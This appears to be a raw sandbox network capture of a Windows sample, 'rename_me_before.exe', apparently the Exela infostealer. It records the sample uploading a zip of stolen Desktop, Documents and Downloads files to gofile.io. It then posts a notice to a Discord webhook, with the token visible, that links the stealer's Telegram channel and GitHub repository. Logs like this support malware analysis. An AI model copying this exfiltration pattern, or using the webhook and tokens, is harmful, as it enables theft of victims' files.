2025-01-01 01:53:21 UTC	16384	OUT	Data Raw: f5 fd 6f 07 2e be 36 ee a1 60 d6 1d a3 f4 5d 43 32 60 19 58 55 d3 fa 8d 64 b5 42 21 28 f4 48 ee 18 7a fd 86 cc 54 9d d5 f6 ac 45 89 1c 03 f8 34 4d a2 4f 4b 67 8e 3e 13 0b 23 fb ff f6 12 90 e3 08 8f bf d5 cc 87 af e3 6c c2 30 bb 83 33 0e e5 5d f1 a9 50 95 37 29 37 39 fa b4 b1 ce a6 b3 2e 63 2f 97 bb d1 e7 64 cb 45 ad d2 63 4f 90 1f ce 8c 9f 29 96 6a e0 54 47 a9 37 3b 84 4b 70 5a c2 41 79 78 fc 51 31 bc f9 0c 88 29 9d b6 fe 99 ff 57 61 12 e1 a5 19 19 c7 3b 71 1a e7 5e e1 1b ce e9 b7 5d 7f a5 ff 97 d1 20 aa 4b 82 1e fb a8 f5 8a ed 3b 89 af 2a 5c aa 63 c4 27 56 b9 fe df f2 97 57 9d 9f 3c 6c 9e 79 cf 31 d0 8d 87 0e 6c ac 57 3a c3 16 1c 8e de 6a 55 3f 66 26 9f d5 62 b1 d3 7e b4 89 29 4a f5 f8 8d 51 dc f8 c9 a3 c9 41 74 81 fa 46 f2 bb bf 40 f5 74 63 58 99 60 dc Data Ascii: o.6`]C2`XUdB!(HzTE4MOKg>#l03]P7)79.c/dEcO)jTG7;KpZAyxQ1)Wa;q^] K;*\c'VW<ly1lW:jU?f&b~)JQAtF@tcX`
2025-01-01 01:53:21 UTC	16384	OUT	Data Raw: 80 65 73 6e 56 4d 7c 97 de 90 0a c5 14 7d f6 4a 4c 0b 6e ae 3b 65 9e 03 c5 99 94 b5 03 72 0b 4b e4 80 62 26 c9 31 5c a6 e0 60 26 0c 5f d7 68 5e 1d 55 21 4f 1f 8a a4 82 df 1f 6a 4b 50 66 e8 1e 9a 91 ed 3f 3c bc 51 d1 54 27 8f 5a ae 19 49 08 15 2a cc ea 4b 5b ff b9 fb ea 76 2d fa dc 45 1a 5d 6e af 3c 79 ff 4c ce 82 f6 aa 22 fc c3 51 ec 05 cc 0f 90 27 14 33 01 23 4e 9a 4c 1c 77 72 7f ea 32 a9 80 82 05 74 6c e0 5f e9 b1 40 ad 01 c3 4b f5 e7 37 6c 04 8d e1 d5 61 40 f6 54 74 83 6f 0b 59 11 90 e3 f8 30 ef 6a 5e fc 95 30 e0 cd 83 0e fa a1 37 0f bd 41 76 8e 91 60 be 72 d5 bc 07 9a 51 da f3 67 2d c3 c7 e2 8a ab 56 f3 1f fe fd 56 f9 2c b8 04 5e 0b c9 68 65 17 78 ba c4 36 67 67 ed 5a e5 70 6a a0 16 6e 66 4d 57 57 f9 f9 5a 23 d5 08 39 e9 64 bf b3 b1 ac d2 d2 dd 8f be Data Ascii: esnVM\|}JLn;erKb&1\`&_h^U!OjKPf?<QT'ZI*K[v-E]n<yL"Q'3#NLwr2tl_@K7la@TtoY0j^07Av`rQg-VV,^hex6ggZpjnfMWWZ#9d
2025-01-01 01:53:21 UTC	16384	OUT	Data Raw: 1c 6c d8 e4 29 89 13 ab 98 5d a1 e6 b3 9f cc de 32 a2 b7 c2 e9 4c 8f 36 65 2f 2a 31 73 38 ae 49 ad 44 bd bf 99 88 2c 6c 41 3d 70 a0 ef b2 49 2d 26 c5 e4 95 ef 2c 52 d4 92 e1 46 3a e0 49 64 db af 82 c8 ff d4 36 3b 27 02 2e 1a 67 8b f5 cb 6c d7 b7 35 fc 2d dc da 2f da e2 30 e5 f5 8b 5c ea 7c 49 61 f6 90 5d cd a4 ad 08 07 ce 65 8e e5 6a a7 07 c5 82 fe e0 d3 de ed 1c b1 ff 7e 4d 2f 80 41 a7 36 67 cc 5a 43 f6 8c 4f 15 01 ae 7c c3 47 ee 0f 8b db 3f d8 0f 6c 8a df 71 c3 b1 c4 de 1a 32 d0 a7 ce ec 9e da 38 ef c1 b8 fe 06 9b e9 0e 14 86 92 21 ef 78 61 2c 63 2e be c8 66 74 c0 84 f7 21 fe 56 6a 84 32 c1 c6 e8 cb a7 31 ff a8 66 77 a0 f9 57 42 8b 70 5b 92 bc 14 58 f0 79 44 a4 ee 80 cc b4 b2 69 78 d6 7c 7d bf 05 0b 8e 56 c8 ce f7 8b 9a b7 b0 2c 48 25 24 4c 47 83 b2 62 Data Ascii: l)]2L6e/*1s8ID,lA=pI-&,RF:Id6;'.gl5-/0\\|Ia]ej~M/A6gZCO\|G?lq28!xa,c.ft!Vj21fwWBp[XyDix\|}V,H%$LGb
2025-01-01 01:53:21 UTC	16384	OUT	Data Raw: b0 3f f3 6f 7d 99 5c ff 18 f0 60 85 5d 54 47 ec b7 e0 3f bb 58 d5 91 81 1d 2b 4a bb 31 0a 73 09 df 6f 2d a4 3c 86 2c 84 7c 52 b7 7a b3 1c 61 a8 cb 87 5d ef 39 3e 0a 3f 4e 2a 45 24 54 aa 5a e8 76 8a ab e3 fd 65 a0 88 c0 af f1 94 e4 40 3f ee 30 0b 2d 66 18 aa 50 42 00 6d 5e a7 f0 e1 52 75 c7 84 da a7 e9 66 5d f0 83 32 ed bd ac a2 20 ae ae 4d cf 53 73 67 76 bb 88 87 81 d8 cb 16 88 80 b4 c7 07 98 e0 dc 00 7c 44 78 2e d2 34 0d 97 a0 4d 5a 6b 04 c7 36 c0 2a f4 40 f5 ff 5f b1 4d fc c7 ee d7 bf f5 d5 5f 6d 51 fe 57 fe f0 ae 9a 28 59 8c d0 db 2a fb c6 90 9b 3f 82 0d e1 21 51 07 35 72 96 ac 5f cc fc 04 be 21 a9 65 f8 40 82 0f cd 94 75 e4 3d 56 e9 63 05 a8 7c ad 90 01 b6 e2 79 2f f0 61 aa 46 a5 b6 19 a5 65 a8 fe 5b 28 56 dd 57 27 41 ca d7 34 9c a7 18 8a f8 cf 44 63 Data Ascii: ?o}\`]TG?X+J1so-<,\|Rza]9>?NE$TZve@?0-fPBm^Ruf]2 MSsgv\|Dx.4MZk6@_M_mQW(Y*?!Q5r_!e@u=Vc\|y/aFe[(VW'A4Dc
2025-01-01 01:53:21 UTC	16384	OUT	Data Raw: 57 02 ca c1 eb 4a 1a b3 75 a7 f0 85 d0 56 4e 4e a0 8d 18 21 55 04 2b b5 76 9b b6 ff 51 23 74 05 19 50 aa a8 ed 8b 54 f6 b5 bc 90 48 f1 c8 72 a0 ac 13 4f ba 6b 12 8a 65 19 38 b1 13 2d 08 8b 5b 9f c9 5c 4d 14 99 26 60 d8 59 db 45 31 cb 26 98 c2 af 23 3b 4a 0e a4 f8 26 44 13 8f 36 16 cf 25 47 52 a9 02 ad df f0 e3 5f 7e 5d c6 17 f0 d7 52 38 39 e4 7f 88 49 14 17 de 84 05 77 fd 1f f2 be d6 22 37 90 d0 d6 8d 09 bc 25 ea ea d4 f6 f9 91 cf 2a a8 d2 3d 02 26 b8 c3 ea dd a3 8a e3 f3 5e 90 d5 17 e3 8f 94 36 60 a5 3b da f1 4e e8 e2 69 fb 19 65 76 e1 8e 09 15 63 10 f6 b7 81 a5 d9 70 1d f8 53 f3 5b 6a 9b 16 fe 7d 6d 99 7d 5f 3b ce 5d 31 a1 cf 7e 21 97 af af 5e 3c 66 63 d6 b3 df ef 73 e4 82 50 f9 a5 8b d5 12 34 a7 a8 3f cb 9c 37 a4 bd 38 15 b2 77 83 58 11 27 36 4e 5a 7c Data Ascii: WJuVNN!U+vQ#tPTHrOke8-[\M&`YE1&#;J&D6%GR_~]R89Iw"7%*=&^6`;NievcpS[j}m}_;]1~!^<fcsP4?78wX'6NZ\|
2025-01-01 01:53:21 UTC	16384	OUT	Data Raw: 38 0d 6f 4e da ea 7a 0d b0 e7 06 b0 4d 0d 13 43 d8 e1 69 f0 e2 95 6f 5d 4d fe 86 7f e6 df 15 8f fd a8 99 ae ba 0f d2 aa aa 4b ba d4 eb bf cb 60 2c 66 38 a3 28 2e d2 4d e8 d1 49 87 d5 fb 06 4d 9a 32 31 78 9b 17 de 53 05 9e f3 87 04 4d 6a 4d 83 09 1b 01 bc 95 f2 2e d4 72 98 20 df cf 8d 9c af 66 43 f9 14 79 aa fd a0 6d 4f 2f b7 fe bf 1c 47 2e e6 4e cf 17 d3 76 73 c3 a5 fe 9b 0b 23 1e b2 2e 90 f2 5c 0e a7 be 94 58 9d f4 59 1b 78 e7 47 4e 3f 33 65 ed 6e 31 28 15 a6 5e 36 31 bc 1b 57 cf 16 ba ec a5 b2 f9 c4 df 00 ea 73 78 fd d8 03 b0 ee 53 5c 7d dd f0 0d c1 34 ca ff 63 ef 26 9b bf 6b af fe c6 14 a6 aa 81 06 6d 29 fe 56 3e 07 78 f9 32 d1 5d 8f 3a 48 29 2a 87 80 e1 3a d9 14 43 14 5e 8f f8 24 c4 f2 00 53 d9 ad 47 0b fc d5 af a9 d3 94 06 33 a7 fb 56 7b 6b f3 ba a9 Data Ascii: 8oNzMCio]MK`,f8(.MIM21xSMjM.r fCymO/G.Nvs#.\XYxGN?3en1(^61WsxS\}4c&km)V>x2]:H)*:C^$SG3V{k
2025-01-01 01:53:21 UTC	16384	OUT	Data Raw: 9b c2 ae a4 34 f8 86 61 73 8e 1d 25 39 7e ac aa c3 99 0c 59 c1 96 df ec 2a 5f 6d 29 39 91 81 cb 41 d4 6e 0f 85 74 75 2c 99 84 1c 42 29 6c 5f 6a 8e 6f c0 9d 12 40 84 fc e2 04 44 51 4b 25 40 b2 d3 bc 6c ec 98 38 fe 54 35 f4 55 20 eb 3d 0f 27 09 ea e2 5f c6 46 a2 bf 5d 80 b8 c2 eb 80 84 14 ca 0b 53 e5 6d fa 6c 11 f8 45 77 d3 91 f1 c5 64 26 bf fe 6a 49 92 3c 3b 46 9e 65 a2 06 94 33 8a 5a 5d ce ee 68 41 47 53 67 9c 48 34 47 fd 02 cc fc dc 6c a3 29 c3 9c 57 f4 fb fd e6 5a cd 48 1d 9b c5 3b 42 6d b5 57 59 99 35 a1 82 d5 57 c1 e1 ad b9 90 dc 24 de 92 50 e6 af bf be 33 7d 22 67 c0 03 3d 7a 7c 06 e8 23 9d f3 b2 ce 47 ff 78 bc 8e 24 ee 0c 18 f0 22 60 eb d4 ae 1a 53 7a ec 17 39 ce ef 79 b4 e6 a0 76 78 23 d1 81 88 ce bc 96 64 0b 84 13 c7 eb 23 54 d8 90 cf 56 e2 21 35 Data Ascii: 4as%9~Y*_m)9Antu,B)l_jo@DQK%@l8T5U ='_F]SmlEwd&jI<;Fe3Z]hAGSgH4Gl)WZH;BmWY5W$P3}"g=z\|#Gx$"`Sz9yvx#d#TV!5
2025-01-01 01:53:22 UTC	1244	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 01:53:22 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close CF-Ray: 8faee00d6e3d5e5f-EWR CF-Cache-Status: DYNAMIC Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Vary: Accept-Encoding Via: 1.1 google alt-svc: h3=":443"; ma=86400 X-Content-Type-Options: nosniff x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f x-ratelimit-limit: 5 x-ratelimit-remaining: 4 x-ratelimit-reset: 1735696403 x-ratelimit-reset-after: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9AxlDavcNZnRuBniLiUgaUn%2B%2BKVjr%2BqPn9bJkzC6y6NWvPgg%2B%2FsBpGxzfc%2FxIjT9EkUufLks7XxeS5UFyeqj0E4x5Q2OfFDaZCGhC2DBKhIcGDaX1%2FGQCmSoieXwKrnurskGcA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Content-Security-Policy: frame-ancestors 'none'; default-src https://o64374.ingest.sentry.io; report-to csp-sentry; report-uri https://o64374.ingest.sentry.io/api/5441894/security/?sentry_key=8fbbce30bf5244ec9429546beef21870 Reporting-Endpoints: csp-sentry=https://o64374.ingest.sentry.io/api/5441894/security/?sentry_key=8fbbce30bf5244ec9429546beef21870 Server: cloudflare

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49758	45.112.123.126	443	3512	C:\Users\user\Desktop\rename_me_before.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-01 01:53:23 UTC	132	OUT	GET /getServer HTTP/1.1 Host: api.gofile.io Accept: / Accept-Encoding: gzip, deflate User-Agent: Python/3.11 aiohttp/3.9.5
2025-01-01 01:53:24 UTC	1113	IN	HTTP/1.1 404 Not Found Server: nginx/1.27.1 Date: Wed, 01 Jan 2025 01:53:24 GMT Content-Type: text/html; charset=utf-8 Content-Length: 14 Connection: close Access-Control-Allow-Origin: * Access-Control-Allow-Headers: Content-Type, Authorization Access-Control-Allow-Methods: GET, POST, OPTIONS, PUT, DELETE, HEAD Access-Control-Allow-Credentials: true Content-Security-Policy: default-src 'self';base-uri 'self';font-src 'self' https: data:;form-action 'self';frame-ancestors 'self';img-src 'self' data:;object-src 'none';script-src 'self';script-src-attr 'none';style-src 'self' https: 'unsafe-inline';upgrade-insecure-requests Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: cross-origin Origin-Agent-Cluster: ?1 Referrer-Policy: no-referrer Strict-Transport-Security: max-age=15552000; includeSubDomains X-Content-Type-Options: nosniff X-DNS-Prefetch-Control: off X-Download-Options: noopen X-Frame-Options: SAMEORIGIN X-Permitted-Cross-Domain-Policies: none X-XSS-Protection: 0 ETag: W/"e-18wLxDNka2j9cTg7gpgujtuBb1A"
2025-01-01 01:53:24 UTC	14	IN	Data Raw: 65 72 72 6f 72 2d 6e 6f 74 46 6f 75 6e 64 Data Ascii: error-notFound

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49759	45.112.123.227	443	3512	C:\Users\user\Desktop\rename_me_before.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-01 01:53:25 UTC	238	OUT	POST /uploadFile HTTP/1.1 Host: store1.gofile.io Accept: / Accept-Encoding: gzip, deflate User-Agent: Python/3.11 aiohttp/3.9.5 Content-Length: 79291 Content-Type: multipart/form-data; boundary=ff19e8851a3248b39599ce8f448c0a96
2025-01-01 01:53:25 UTC	36	OUT	Data Raw: 2d 2d 66 66 31 39 65 38 38 35 31 61 33 32 34 38 62 33 39 35 39 39 63 65 38 66 34 34 38 63 30 61 39 36 0d 0a Data Ascii: --ff19e8851a3248b39599ce8f448c0a96
2025-01-01 01:53:25 UTC	127	OUT	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 7a 69 70 2d 63 6f 6d 70 72 65 73 73 65 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 74 65 61 6c 65 64 46 69 6c 65 73 42 79 45 78 65 6c 61 2e 7a 69 70 22 0d 0a 0d 0a Data Ascii: Content-Type: application/x-zip-compressedContent-Disposition: form-data; name="file"; filename="StealedFilesByExela.zip"
2025-01-01 01:53:25 UTC	16384	OUT	Data Raw: 50 4b 03 04 14 00 00 00 00 00 aa a6 9f 59 00 00 00 00 00 00 00 00 00 00 00 00 0b 00 00 00 44 54 42 5a 47 49 4f 4f 53 4f 2f 50 4b 03 04 14 00 00 00 00 00 aa a6 9f 59 00 00 00 00 00 00 00 00 00 00 00 00 08 00 00 00 44 65 73 6b 74 6f 70 2f 50 4b 03 04 14 00 00 00 00 00 aa a6 9f 59 00 00 00 00 00 00 00 00 00 00 00 00 0a 00 00 00 44 6f 63 75 6d 65 6e 74 73 2f 50 4b 03 04 14 00 00 00 00 00 aa a6 9f 59 00 00 00 00 00 00 00 00 00 00 00 00 0a 00 00 00 44 6f 77 6e 6c 6f 61 64 73 2f 50 4b 03 04 14 00 00 00 00 00 aa a6 9f 59 00 00 00 00 00 00 00 00 00 00 00 00 0b 00 00 00 4f 4e 42 51 43 4c 59 53 50 55 2f 50 4b 03 04 14 00 00 00 00 00 aa a6 9f 59 00 00 00 00 00 00 00 00 00 00 00 00 0b 00 00 00 55 4d 4d 42 44 4e 45 51 42 4e 2f 50 4b 03 04 14 00 00 00 00 00 aa a6 9f 59 Data Ascii: PKYDTBZGIOOSO/PKYDesktop/PKYDocuments/PKYDownloads/PKYONBQCLYSPU/PKYUMMBDNEQBN/PKY
2025-01-01 01:53:25 UTC	16384	OUT	Data Raw: 85 23 a2 e2 88 d3 fd 0f d2 6f c9 0a b2 2a b9 75 04 d0 78 cf 36 05 0a 24 d2 74 6f c4 98 fd 0d 4f dd 44 43 12 cc a7 13 44 3f 31 86 f7 5e 7d 59 01 39 6e b1 6f 1f d1 58 7b 93 d7 3d df b3 0a e9 53 bb 29 6e ad 63 dc 78 dc 93 4f c2 aa 0d 3d 16 9d 88 49 1c 97 d8 35 8c d5 58 c8 dc cd 7b b2 a7 ab 42 d4 b6 bb d0 f7 7c 4b 84 23 eb 2c 3e ce 3c 7a 58 c9 b5 f9 cc 1a f8 e6 ed d2 b9 be 3e 30 e8 55 6b d8 c2 65 dc ae 79 1d 2c ce ce f8 cc 0c 36 94 86 1a 37 9a 63 cd 51 cf 8d 1d 9c 4b 67 9e 76 44 91 9e 6d 18 bf 20 b7 38 05 09 c0 7e 0c 7a bb 62 8d 06 48 9e a3 6d dd 53 5d d6 2e aa 73 f4 22 cf 55 8c 55 30 c1 ed b8 24 39 3b ce f1 71 40 b8 09 d6 d8 39 8c a1 73 f7 ab f9 e3 bc bb 47 35 d5 1f 86 94 5e 13 ea 8d 50 96 72 46 55 cd 02 b1 1c e9 22 12 1b 77 b1 70 00 ce 0e 0b a6 0a a9 9f 25 Data Ascii: #o*ux6$toODCD?1^}Y9noX{=S)ncxO=I5X{B\|K#,><zX>0Ukey,67cQKgvDm 8~zbHmS].s"UU0$9;q@9sG5^PrFU"wp%
2025-01-01 01:53:25 UTC	16384	OUT	Data Raw: b3 2e 99 cf af fd f8 85 de bd b2 eb 0e c1 d8 92 cd 01 98 ed ee 0b ef 74 ce a5 bb 7b 5d cf 69 25 ad 63 f0 c5 51 15 2c eb dc 56 07 2d e5 b8 8a dc ec eb 39 60 78 4c 5c 18 e4 45 0d b8 6f db fc 98 66 7a 8a a1 45 4c cc 44 61 93 af fe 70 3d c6 75 e6 42 76 2e 14 92 f3 79 1b e1 35 96 dd 43 33 6c 03 00 ec 4e 4a 9f ea 6a 51 1b fa c8 55 b1 2d 5d e5 2c 50 5c f4 da b6 de bf cf 6b 95 63 bf 31 26 83 07 65 58 b6 33 c0 29 b7 7e 33 f2 2d 51 a6 2b 2e d9 a2 63 7a d4 12 9c 27 3a 1d be 49 80 f8 a2 a6 3f 76 16 03 b7 26 bc b6 8d be 8f a7 4f 54 8c 50 7b a1 ff 28 e0 0a 65 d9 a8 d1 f9 14 a8 4d af da 3d 05 d2 f9 68 5d 6f 64 31 84 61 bb 64 27 8f 2a 44 63 fc d4 8b 22 2e 78 94 52 5b 3e d6 ea de 66 98 1d 6a 7c e5 e3 dd d4 2f 05 97 cd 14 6f a1 56 86 69 fa 03 cf a3 e0 77 26 b4 b7 44 11 fb Data Ascii: .t{]i%cQ,V-9`xL\EofzELDap=uBv.y5C3lNJjQU-],P\kc1&eX3)~3-Q+.cz':I?v&OTP{(eM=h]od1ad'*Dc".xR[>fj\|/oViw&D
2025-01-01 01:53:25 UTC	16384	OUT	Data Raw: 43 46 58 2e 70 6e 67 15 93 49 8e 40 21 08 44 f7 9d f4 a1 44 c5 f1 8b 38 e0 70 ff 83 b4 bd 30 26 92 58 14 af 58 73 c4 ae 41 e3 2e dd 2e 97 97 3b 44 2c 62 2a 16 9c 5f 65 15 a5 ec 92 be cd 8d 9a cc 70 4e e1 a5 3e ba 23 dc 6a 95 a1 64 ab c9 f2 15 5b 30 04 6d 13 0d 90 4a 46 5b 2f c5 d8 6f 68 65 1c c3 98 bd a1 d1 4c 78 2f eb 1e 6c 82 58 9a 35 e7 08 d2 c6 dc 95 48 33 40 86 eb b4 3c af 12 87 79 d3 ea a9 0d c3 74 46 a9 77 22 d5 8d b1 3e e1 79 0b bb aa 24 5f a6 77 3e 0b 3d 98 de 3b e9 58 4e 73 c3 59 df f2 d8 b9 c3 d6 e2 80 82 49 c9 86 e9 ab c4 8d 01 66 f2 de 87 1b 37 94 8e d2 df 83 98 1c 85 fd fb ab d4 24 f3 b8 0e 27 9b 2a fd de a0 dc 96 9b c6 fd e8 f3 29 3e 43 3a 97 e0 e5 49 1f 7f 27 69 ff 0d 53 f7 ea 6b e9 71 93 ec 59 e3 1e 93 e5 24 29 30 88 f6 e9 c4 c7 51 a3 19 Data Ascii: CFX.pngI@!DD8p0&XXsA..;D,b_epN>#jd[0mJF[/oheLx/lX5H3@<ytFw">y$_w>=;XNsYIf7$')>C:I'iSkqY$)0Q
2025-01-01 01:53:25 UTC	13552	OUT	Data Raw: 3b 05 1e 9e 16 4e d1 aa 4b 66 eb 6b 15 67 4d 04 a9 f1 07 a3 44 6a 68 a5 d3 07 74 34 58 ef b0 bc 92 4e 39 9e c9 86 90 27 26 93 97 ce 72 97 15 d0 0f f9 b6 d8 6e d0 63 ce ec 13 cd 1e 89 28 07 b5 ce cd 28 6b 5c 59 7a 28 9f 7d f3 df ed 00 c5 c0 c9 c0 cd b1 49 e8 7a dc ed a5 81 5f 47 b4 f5 b5 7c e4 dc 9c 48 eb ea 75 24 a2 bb 98 50 c5 86 99 26 27 e1 ae ef 83 62 55 1c 59 4e e8 37 59 2b a5 75 1a ce 96 15 86 5e 39 3d 87 87 60 97 4a 8f 91 c6 92 b3 50 cd 8a 76 96 16 dd aa 99 bb 65 eb 40 62 d9 73 01 57 00 a3 99 c7 57 a8 18 86 5f 46 f1 5a ce f1 e4 2f 62 cc 4d f8 bd 3e 20 5b 06 9c 1e da 76 da bb 96 84 f2 38 50 4e 6d a5 7e f5 e8 a0 35 bd ec 77 3c 03 8d 5f 5f f3 a9 d9 29 ee 76 ba 8c 5d 65 38 cb 75 db 2a b8 da 15 2b 67 da e8 5e 2c 35 6f d5 02 09 dd 8e aa f1 2e f9 62 ef db Data Ascii: ;NKfkgMDjht4XN9'&rnc((k\Yz(}Iz_G\|Hu$P&'bUYN7Y+u^9=`JPve@bsWW_FZ/bM> [v8PNm~5w<__)v]e8u*+g^,5o.b
2025-01-01 01:53:25 UTC	2	OUT	Data Raw: 0d 0a Data Ascii:
2025-01-01 01:53:25 UTC	38	OUT	Data Raw: 2d 2d 66 66 31 39 65 38 38 35 31 61 33 32 34 38 62 33 39 35 39 39 63 65 38 66 34 34 38 63 30 61 39 36 2d 2d 0d 0a Data Ascii: --ff19e8851a3248b39599ce8f448c0a96--
2025-01-01 01:53:27 UTC	449	IN	HTTP/1.1 200 OK Server: nginx/1.27.1 Date: Wed, 01 Jan 2025 01:53:27 GMT Content-Type: application/json Content-Length: 439 Connection: close Access-Control-Allow-Headers: Accept, Accept-Language, Content-Language, Content-Type, Content-Length, Range, Authorization Access-Control-Allow-Methods: POST, GET, OPTIONS, PUT, DELETE Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Cache-Control, Content-Encoding, Content-Range
2025-01-01 01:53:27 UTC	439	IN	Data Raw: 7b 22 64 61 74 61 22 3a 7b 22 63 72 65 61 74 65 54 69 6d 65 22 3a 31 37 33 35 36 39 36 34 30 36 2c 22 64 6f 77 6e 6c 6f 61 64 50 61 67 65 22 3a 22 68 74 74 70 73 3a 2f 2f 67 6f 66 69 6c 65 2e 69 6f 2f 64 2f 75 6b 68 45 67 73 22 2c 22 67 75 65 73 74 54 6f 6b 65 6e 22 3a 22 38 65 39 34 73 67 36 73 36 79 73 63 44 44 38 6a 59 39 4d 39 37 4f 4d 4b 30 36 74 69 63 33 57 62 22 2c 22 69 64 22 3a 22 66 65 32 34 63 38 35 63 2d 38 64 32 35 2d 34 36 33 34 2d 61 31 32 62 2d 30 63 39 66 31 37 39 61 62 34 36 30 22 2c 22 6d 64 35 22 3a 22 38 62 30 36 35 39 31 31 35 38 36 30 38 63 30 64 61 64 65 33 63 33 64 39 33 32 37 35 30 65 62 38 22 2c 22 6d 69 6d 65 74 79 70 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 7a 69 70 22 2c 22 6d 6f 64 54 69 6d 65 22 3a 31 37 33 35 36 39 Data Ascii: {"data":{"createTime":1735696406,"downloadPage":"https://gofile.io/d/ukhEgs","guestToken":"8e94sg6s6yscDD8jY9M97OMK06tic3Wb","id":"fe24c85c-8d25-4634-a12b-0c9f179ab460","md5":"8b06591158608c0dade3c3d932750eb8","mimetype":"application/zip","modTime":173569

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49760	162.159.137.232	443	3512	C:\Users\user\Desktop\rename_me_before.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-01 01:53:27 UTC	283	OUT	POST /api/webhooks/1263157181906419813/b4pV0iwlt5KWRU4QEOMzoONBAdBMW4nt-dNtrU5B2-50jsFyHabL0Uos8mtD0ZVFUQNS HTTP/1.1 Host: canary.discord.com Accept: / Accept-Encoding: gzip, deflate User-Agent: Python/3.11 aiohttp/3.9.5 Content-Length: 419 Content-Type: application/json
2025-01-01 01:53:27 UTC	419	OUT	Data Raw: 7b 22 75 73 65 72 6e 61 6d 65 22 3a 20 22 45 78 65 6c 61 20 53 74 65 61 6c 65 72 22 2c 20 22 65 6d 62 65 64 73 22 3a 20 5b 7b 22 74 69 74 6c 65 22 3a 20 22 2a 2a 2a 45 78 65 6c 61 20 53 74 65 61 6c 65 72 2a 2a 2a 22 2c 20 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 20 22 2a 2a 2a 53 74 65 61 6c 65 64 20 46 69 6c 65 73 2a 2a 2a 22 2c 20 22 75 72 6c 22 3a 20 22 68 74 74 70 73 3a 2f 2f 74 2e 6d 65 2f 45 78 65 6c 61 53 74 65 61 6c 65 72 22 2c 20 22 63 6f 6c 6f 72 22 3a 20 30 2c 20 22 66 6f 6f 74 65 72 22 3a 20 7b 22 74 65 78 74 22 3a 20 22 68 74 74 70 73 3a 2f 2f 74 2e 6d 65 2f 45 78 65 6c 61 53 74 65 61 6c 65 72 20 7c 20 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 71 75 69 63 61 78 64 2f 45 78 65 6c 61 2d 56 32 2e 30 22 7d 2c 20 22 74 68 75 6d 62 Data Ascii: {"username": "Exela Stealer", "embeds": [{"title": "*Exela Stealer", "description": "Stealed Files*", "url": "https://t.me/ExelaStealer", "color": 0, "footer": {"text": "https://t.me/ExelaStealer \| https://github.com/quicaxd/Exela-V2.0"}, "thumb
2025-01-01 01:53:27 UTC	1331	IN	HTTP/1.1 204 No Content Date: Wed, 01 Jan 2025 01:53:27 GMT Content-Type: text/html; charset=utf-8 Connection: close CF-Ray: 8faee0347d4078d9-EWR CF-Cache-Status: DYNAMIC Set-Cookie: __dcfduid=31c82dbec7e311ef855a22435e575669; Expires=Mon, 31-Dec-2029 01:53:27 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Via: 1.1 google alt-svc: h3=":443"; ma=86400 X-Content-Type-Options: nosniff x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f x-ratelimit-limit: 5 x-ratelimit-remaining: 3 x-ratelimit-reset: 1735696409 x-ratelimit-reset-after: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OpsPHj1u%2B9fWyIxudRQOjKrjT7gGWW0XUZFURui3yZRN3Tmpubirazoj03UXRPgAkY5%2BqL4eXxoA1vVSPrMUncgPlWBPDn86Rd8N4crodBEMDY723jRpfyPsndBuc0JDqpfSug%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Content-Security-Policy: frame-ancestors 'none'; default-src https://o64374.ingest.sentry.io; report-to csp-sentry; report-uri https://o64374.ingest.sentry.io/api/5441894/security/?sentry_key=8fbbce30bf5244ec9429546beef21870 Reporting-Endpoints: csp-sentry=https://o64374.ingest.sentry.io/api/5441894/security/?sentry_key=8fbbce30bf5244ec9429546beef21870
2025-01-01 01:53:27 UTC	536	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 5f 5f 73 64 63 66 64 75 69 64 3d 33 31 63 38 32 64 62 65 63 37 65 33 31 31 65 66 38 35 35 61 32 32 34 33 35 65 35 37 35 36 36 39 63 31 65 33 37 64 63 38 63 62 37 35 63 30 63 37 61 63 39 38 38 37 33 66 63 64 64 64 62 64 34 64 36 64 62 34 30 30 39 66 32 30 30 38 65 31 65 39 31 33 35 63 34 62 34 32 39 61 66 62 32 32 37 66 3b 20 45 78 70 69 72 65 73 3d 4d 6f 6e 2c 20 33 31 2d 44 65 63 2d 32 30 32 39 20 30 31 3a 35 33 3a 32 37 20 47 4d 54 3b 20 4d 61 78 2d 41 67 65 3d 31 35 37 36 38 30 30 30 30 3b 20 53 65 63 75 72 65 3b 20 48 74 74 70 4f 6e 6c 79 3b 20 50 61 74 68 3d 2f 3b 20 53 61 6d 65 53 69 74 65 3d 4c 61 78 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 5f 5f 63 66 72 75 69 64 3d 65 30 39 39 61 35 38 30 33 63 35 37 37 63 33 Data Ascii: Set-Cookie: 